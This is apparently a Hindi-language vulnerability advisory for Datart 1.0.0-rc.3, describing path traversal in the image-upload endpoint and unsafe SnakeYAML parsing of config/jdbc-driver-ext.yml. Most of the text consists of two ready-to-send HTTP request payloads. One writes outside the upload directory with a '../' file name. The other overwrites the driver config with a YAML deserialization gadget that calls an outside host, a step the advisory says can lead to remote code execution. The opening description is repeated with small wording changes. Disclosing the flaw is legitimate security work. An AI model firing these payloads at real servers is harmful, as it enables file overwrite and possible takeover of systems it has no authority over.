
Datart 1.0.0-rc.3 POST /viz/image इंटरफ़ेस में Directory Traversal की चपेट में है, क्योंकि सर्वर सीधे MultipartFile.transferTo() का उपयोग करके अपलोड की गई फ़ाइल को उपयोगकर्ता द्वारा नियंत्रित करने योग्य पथ पर सहेजता है, और फ़ाइल नाम की सख्त जाँच का अभाव है।
Datart 1.0.0-rc.3 POST /viz/image इंटरफ़ेस में डायरेक्टरी ट्रैवर्सल के प्रति संवेदनशील है, क्योंकि सर्वर सीधे MultipartFile.transferTo() का उपयोग करके अपलोड की गई फ़ाइल को उपयोगकर्ता द्वारा नियंत्रित पथ पर सहेजता है, और फ़ाइल नाम की कठोर जाँच नहीं करता है।
POST /api/v1/files/viz/image?ownerType=DASHBOARD&ownerId=66822c13a9bc4381923456c11339497e&fileName=../../../../../../../../tmp/1 HTTP/1.1
Host: test.com
Accept-Language: zh-CN
Accept: application/json, text/plain, */*
Content-Type: multipart/form-data; boundary=----WebKitFormBoundarySInMdoLRiubl32BW
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/138.0.0.0 Safari/537.36
Accept-Encoding: gzip, deflate
Content-Length: 4646
------WebKitFormBoundarySInMdoLRiubl32BW
Content-Disposition: form-data; name="file"; filename="1.jpg"
Content-Type: image/jpeg
xxxxx
------WebKitFormBoundarySInMdoLRiubl32BW--
Datart 1.0.0-rc.3 डायरेक्टरी ट्रैवर्सल के प्रति संवेदनशील है। एप्लिकेशन का कॉन्फ़िगरेशन फ़ाइल हैंडलिंग हमलावरों को config/jdbc-driver-ext.yml पथ पर मनमानी YAML फ़ाइलें अपलोड करने की अनुमति देता है। एप्लिकेशन SnakeYAML के असुरक्षित load() या loadAs() विधि का उपयोग करके इस फ़ाइल को बिना इनपुट स्वच्छता के पार्स करता है। इससे हमलावर-नियंत्रित YAML सामग्री का डिसीरियलाइज़ेशन होता है, जिससे मनमानी क्लास इंस्टेंटिएशन होती है। कुछ शर्तों के तहत, इसका उपयोग रिमोट कोड निष्पादन (RCE) प्राप्त करने के लिए किया जा सकता है।
POST /api/v1/files/viz/image?ownerType=DASHBOARD&ownerId=66822c13a9bc4381923456c11339497e&fileName=../../../../../config/jdbc-driver-ext.yml HTTP/1.1
Host: test.com
Accept-Language: zh-CN
Accept: application/json, text/plain, */*
Content-Type: multipart/form-data; boundary=----WebKitFormBoundarySInMdoLRiubl32BW
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/138.0.0.0 Safari/537.36
Accept-Encoding: gzip, deflate
Content-Length: 4646
------WebKitFormBoundarySInMdoLRiubl32BW
Content-Disposition: form-data; name="file"; filename="1.jpg"
Content-Type: image/jpeg
{!!java.net.URL ["http://test.eyes.sh/"]: 1}
------WebKitFormBoundarySInMdoLRiubl32BW--